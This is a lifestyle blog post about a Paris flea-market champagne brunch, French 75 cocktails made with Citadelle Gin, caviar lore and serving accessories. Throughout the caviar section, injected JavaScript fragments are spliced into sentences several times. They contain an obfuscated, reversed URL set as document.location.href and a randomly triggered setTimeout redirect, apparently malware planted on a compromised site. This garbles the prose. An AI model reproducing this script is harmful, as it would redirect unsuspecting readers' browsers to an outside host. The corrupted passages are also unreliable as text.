At our 5th Annual Paris Flea Market Champagne Brunch I’m serving cocktails #DivaStyle:

Coco Chanel With a Dagger by Maison Ferrand  

Alex and Debbie Gabriel
Alex and Debbie Gabriel

Artisanal Gin de France producer Citadelle Gin by Maison Ferrand,will make French 75s – my signature cocktail that I like to call Coco Chanel with a Dagger – with The Antiques Diva signature champagne. Not only is Citadelle my favorite gin, Maison Ferrand happens to be owned by Alexandre and Debbie Gabriel, one of our Paris Antiques Diva Guides. Citadelle Gin is made following a centuries-old method, using an open flame pot still distillation, and a traditional Charentaise pot still used in Cognac, France. Distillation over an open flame allows the complementary aromas to come together when the wine comes into contact with the bottom of the boiler. The name Citadelle honors where this gin was first authorized to be made in 1775 by Louis XVI, at the Citadelle in Dunkirk.

Rosenthal Champagne and Caviar Cooler

Have you ever wondered what real caviar actually is? The world’s leading producer is Iran at 300,000 metric toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tons, followed by Russia’s Soviet States. Both countries border the Caspian Sea which is the world’s largest salt-water lake.  Caviar is actually a type of fish egg called roe. Exactly like Champagne has its own designation, caviar traditionally comes from the sturgeon roe. Today these eggs come from a wide variety of fish like beluga (the most expensive up toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to $25,000/kg), trout, salmon, and other sorts of fish that are raised toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to produce the eggs.

Saint Hilaire Caviar Knife

When eating caviar, it’s all about the accessories!  Caviar is typically eaten with a bone, horn or mother-of-pearl spoon or spreading knife since a metal or silver one imparts a metallic taste.  Another way toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to serve caviar is with a gold spoon as it also has qualities that do not impact the taste. 

Aficionados and purists might not agree on all of the typical caviar garnishes but one thing they do agree with is that caviar should be enjoyed with either ice cold vodka (my favorite way toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to consume caviar) or, as The Antiques Diva® does, with “un coup de champagne”. 

Saint Hilaire Caviar and Vodka Presentation Set

There are loads of caviar imposters like lumpfish (hard black or red colored eggs), salmon or trout (orange/red in color), or whitefish (golden color). Last week I saw green caviar which is some sort of manufactured wasabi product – it seems toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be popular on the sushi circuit for its bright psychedelic green hue.  They are sort of the “proseccos and sparkling wines” of the caviar circuit.

As I know Diva Readers love La France, I must share with you that France has its own type of caviar called Poorman’s Caviar. It’s not fish eggs but rather a whole baked eggplant mixed with a whole roasted head of garlic. Slather it on a chunky baguette and sip some champagne!  Perfect budget-friendly party food!
